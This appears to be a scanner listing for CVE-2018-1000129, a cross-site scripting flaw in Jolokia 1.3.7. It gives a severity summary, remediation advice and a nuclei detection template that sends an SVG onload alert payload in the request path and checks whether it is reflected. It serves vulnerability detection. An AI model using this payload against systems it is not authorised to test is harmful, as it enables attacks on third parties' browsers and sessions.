Jolokia 1.3.7 - Cross-Site Scripting

mediumseverity

6.1CVSS score

24.7%likelihood of exploitation, next 30 days

98%of all CVEs are less likely

Readycheck to confirm it

Jolokia 1.3.7 is vulnerable to cross-site scripting in the HTTP servlet and allows an attacker to execute malicious JavaScript in the victim's browser.

Impact

Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the victim's browser, leading to session hijacking, defacement, or theft of sensitive information.

Fix

Upgrade to a patched version of Jolokia or apply the necessary security patches to mitigate the XSS vulnerability.

How to confirm it

Send: GET {{BaseURL}}/api/jolokia/read<svg%20onload=alert(document.domain)>?mimeType=text/html ; GET {{BaseURL}}/jolokia/read<svg%20onload=alert(document.domain)>?mimeType=text/html
Positive when: contains "<svg onload=alert(document.domain)>" and "java.lang.IllegalArgumentException" and "No type with name" AND contains in header "text/html" AND status 200

Run it with nuclei: nuclei -id CVE-2018-1000129 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2018-1000129

info:
  name: Jolokia 1.3.7 - Cross-Site Scripting
  author: mavericknerd,0h1in9e,daffainfo
  severity: medium
  description: |
    Jolokia 1.3.7 is vulnerable to cross-site scripting in the HTTP servlet and allows an attacker to execute malicious JavaScript in the victim's browser.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the victim's browser, leading to session hijacking, defacement, or theft of sensitive information.
  remediation: |
    Upgrade to a patched version of Jolokia or apply the necessary security patches to mitigate the XSS vulnerability.
  reference:
    - https://jolokia.org/#Security_fixes_with_1.5.0
    - https://github.com/rhuss/jolokia/commit/5895d5c137c335e6b473e9dcb9baf748851bbc5f#diff-f19898247eddb55de6400489bff748ad
    - https://blog.gdssecurity.com/labs/2018/4/18/jolokia-vulnerabilities-rce-xss.html
    - https://blog.it-securityguard.com/how-i-made-more-than-30k-with-jolokia-cves/
    - https://nvd.nist.gov/vuln/detail/CVE-2018-1000129
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2018-1000129
    cwe-id: CWE-79
    epss-score: 0.24674
    epss-percentile: 0.97908
    cpe: cpe:2.3:a:jolokia:jolokia:1.3.7:*:*:*:*:*:*:*
  metadata:
    max-request: 2
    vendor: jolokia
    product: jolokia
  tags: cve2018,cve,jolokia,xss,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/api/jolokia/read<svg%20onload=alert(document.domain)>?mimeType=text/html"
      - "{{BaseURL}}/jolokia/read<svg%20onload=alert(document.domain)>?mimeType=text/html"

    stop-at-first-match: true

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "<svg onload=alert(document.domain)>"
          - "java.lang.IllegalArgumentException"
          - "No type with name"
        condition: and

      - type: word
        part: header
        words:
          - "text/html"

      - type: status
        status:
          - 200

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